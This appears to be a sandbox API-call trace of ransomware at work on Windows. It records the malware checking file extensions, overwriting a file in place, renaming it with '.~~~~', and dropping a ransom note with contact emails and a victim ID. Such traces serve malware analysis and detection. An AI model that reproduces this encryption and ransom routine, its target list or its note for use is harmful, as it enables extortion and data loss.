	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".fdb") returned 0x0
	[0077.201] lstrlenW (lpString=".bak") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bak") returned 0x0
	[0077.201] lstrlenW (lpString=".myd") returned 4
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".myd") returned 0x0
	[0077.201] lstrlenW (lpString=".DTXS") returned 5
	[0077.201] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".DTXS") returned 0x0
	[0077.202] lstrlenW (lpString=".ckp") returned 4
	[0077.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".ckp") returned 0x0
	[0077.202] lstrlenW (lpString=".dbt") returned 4
	[0077.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".dbt") returned 0x0
	[0077.202] lstrlenW (lpString=".db") returned 3
	[0077.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".db") returned 0x0
	[0077.202] lstrlenW (lpString=".TXT") returned 4
	[0077.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".TXT") returned 0x0
	[0077.202] lstrlenW (lpString=".MDF") returned 4
	[0077.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".MDF") returned 0x0
	[0077.202] lstrlenW (lpString=".bdb") returned 4
	[0077.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".bdb") returned 0x0
	[0077.202] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.202] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0077.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.202] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0077.203] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.203] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0077.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0077.203] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19719362216) returned 1
	[0077.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x97ea78b0, dwHighDateTime=0x1d60e1e)) 
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac698
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac698 | out: hHeap=0x300000) returned 1
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aae38
	[0077.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0077.204] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0077.204] GetLastError () returned 0x0
	[0077.204] GetLastError () returned 0x0
	[0077.204] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0077.205] GetLastError () returned 0x0
	[0077.205] GetLastError () returned 0x0
	[0077.205] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.210] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.210] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0077.211] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.211] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.213] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.213] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.213] CloseHandle (hObject=0x134) returned 1
	[0077.214] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0077.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.~~~~")) returned 1
	[0077.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0077.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.214] GetLastError () returned 0x0
	[0077.214] RtlWakeConditionVariable () returned 0x365f70
	[0077.214] GetCurrentThreadId () returned 0xaf0
	[0077.215] GetCurrentThreadId () returned 0xaf0
	[0077.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aae38
	[0077.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaf88 | out: hHeap=0x300000) returned 1
	[0077.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac6d0 | out: hHeap=0x300000) returned 1
	[0077.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaf88
	[0077.215] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.215] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0077.215] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0077.216] CloseHandle (hObject=0x134) returned 1
	[0077.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaf88 | out: hHeap=0x300000) returned 1
	[0077.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aae38 | out: hHeap=0x300000) returned 1
	[0077.217] RtlWakeConditionVariable () returned 0x365f70
	[0077.217] GetCurrentThreadId () returned 0xaf0
	[0077.217] GetCurrentThreadId () returned 0xaf0
	[0077.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a77b8 | out: hHeap=0x300000) returned 1
	[0077.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac708 | out: hHeap=0x300000) returned 1
	[0077.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a77b8
	[0077.217] lstrlenW (lpString=".scr") returned 4
	[0077.217] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0077.217] lstrlenW (lpString=".cmd") returned 4
	[0077.217] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0077.217] lstrlenW (lpString=".dll") returned 4
	[0077.217] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0077.217] lstrlenW (lpString=".bat") returned 4
	[0077.217] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0077.217] lstrlenW (lpString=".cpl") returned 4
	[0077.217] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0077.217] lstrlenW (lpString=".sys") returned 4
	[0077.218] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0077.218] lstrlenW (lpString=".msc") returned 4
	[0077.218] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0077.218] lstrlenW (lpString=".com") returned 4
	[0077.218] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0077.218] lstrlenW (lpString=".lnk") returned 4
	[0077.218] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0077.218] lstrlenW (lpString=".msp") returned 4
	[0077.218] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0077.218] lstrlenW (lpString=".pif") returned 4
	[0077.218] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0077.218] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.218] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0077.218] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a77b8 | out: hHeap=0x300000) returned 1
	[0077.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0077.218] RtlWakeConditionVariable () returned 0x365f70
	[0077.218] GetCurrentThreadId () returned 0xaf0
	[0077.218] GetCurrentThreadId () returned 0xaf0
	[0077.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0077.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac740 | out: hHeap=0x300000) returned 1
	[0077.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.219] lstrlenW (lpString=".scr") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0077.219] lstrlenW (lpString=".cmd") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0077.219] lstrlenW (lpString=".dll") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0077.219] lstrlenW (lpString=".bat") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0077.219] lstrlenW (lpString=".cpl") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0077.219] lstrlenW (lpString=".sys") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0077.219] lstrlenW (lpString=".msc") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0077.219] lstrlenW (lpString=".com") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0077.219] lstrlenW (lpString=".lnk") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0077.219] lstrlenW (lpString=".msp") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0077.219] lstrlenW (lpString=".pif") returned 4
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0077.219] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0077.219] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0077.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0077.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0077.220] RtlWakeConditionVariable () returned 0x365f70
	[0077.220] GetCurrentThreadId () returned 0xaf0
	[0077.220] GetCurrentThreadId () returned 0xaf0
	[0077.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5240 | out: hHeap=0x300000) returned 1
	[0077.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac778 | out: hHeap=0x300000) returned 1
	[0077.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5240
	[0077.220] lstrlenW (lpString=".scr") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".scr") returned 0x0
	[0077.220] lstrlenW (lpString=".cmd") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".cmd") returned 0x0
	[0077.220] lstrlenW (lpString=".dll") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dll") returned 0x0
	[0077.220] lstrlenW (lpString=".bat") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bat") returned 0x0
	[0077.220] lstrlenW (lpString=".cpl") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".cpl") returned 0x0
	[0077.220] lstrlenW (lpString=".sys") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sys") returned 0x0
	[0077.220] lstrlenW (lpString=".msc") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".msc") returned 0x0
	[0077.220] lstrlenW (lpString=".com") returned 4
	[0077.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".com") returned 0x0
	[0077.221] lstrlenW (lpString=".lnk") returned 4
	[0077.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".lnk") returned 0x0
	[0077.221] lstrlenW (lpString=".msp") returned 4
	[0077.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".msp") returned 0x0
	[0077.221] lstrlenW (lpString=".pif") returned 4
	[0077.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".pif") returned 0x0
	[0077.221] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0077.221] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0077.222] lstrlenW (lpString=".sqb") returned 4
	[0077.222] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sqb") returned 0x0
	[0077.222] lstrlenW (lpString=".ost") returned 4
	[0077.222] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".ost") returned 0x0
	[0077.222] lstrlenW (lpString=".txt") returned 4
	[0077.222] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".txt") returned 0x0
	[0077.222] lstrlenW (lpString=".mdt") returned 4
	[0077.222] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".mdt") returned 0x0
	[0077.222] lstrlenW (lpString=".BDB") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".BDB") returned 0x0
	[0077.223] lstrlenW (lpString=".eql") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".eql") returned 0x0
	[0077.223] lstrlenW (lpString=".DBF") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBF") returned 0x0
	[0077.223] lstrlenW (lpString=".EQL") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".EQL") returned 0x0
	[0077.223] lstrlenW (lpString=".FDB") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".FDB") returned 0x0
	[0077.223] lstrlenW (lpString=".EDB") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".EDB") returned 0x0
	[0077.223] lstrlenW (lpString=".DACPAC") returned 7
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DACPAC") returned 0x0
	[0077.223] lstrlenW (lpString=".VHD") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".VHD") returned 0x0
	[0077.223] lstrlenW (lpString=".DBV") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBV") returned 0x0
	[0077.223] lstrlenW (lpString=".dacpac") returned 7
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".dacpac") returned 0x0
	[0077.223] lstrlenW (lpString=".sdf") returned 4
	[0077.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".sdf") returned 0x0
	[0077.223] lstrlenW (lpString=".accdb") returned 6
	[0077.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".accdb") returned 0x0
	[0077.224] lstrlenW (lpString=".DBX") returned 4
	[0077.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".DBX") returned 0x0
	[0077.224] lstrlenW (lpString=".MDT") returned 4
	[0077.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".MDT") returned 0x0
	[0077.224] lstrlenW (lpString=".SQB") returned 4
	[0077.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".SQB") returned 0x0
	[0077.224] lstrlenW (lpString=".vhd") returned 4
	[0077.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".vhd") returned 0x0
	[0077.224] lstrlenW (lpString=".bac") returned 4
	[0077.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".bac") returned 0x0
	[0077.224] lstrlenW (lpString=".mdf") returned 4
	[0077.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi", lpSrch=".mdf") returned 0x0
	[0077.225] lstrlenW (lpString=".BAK") returned 4
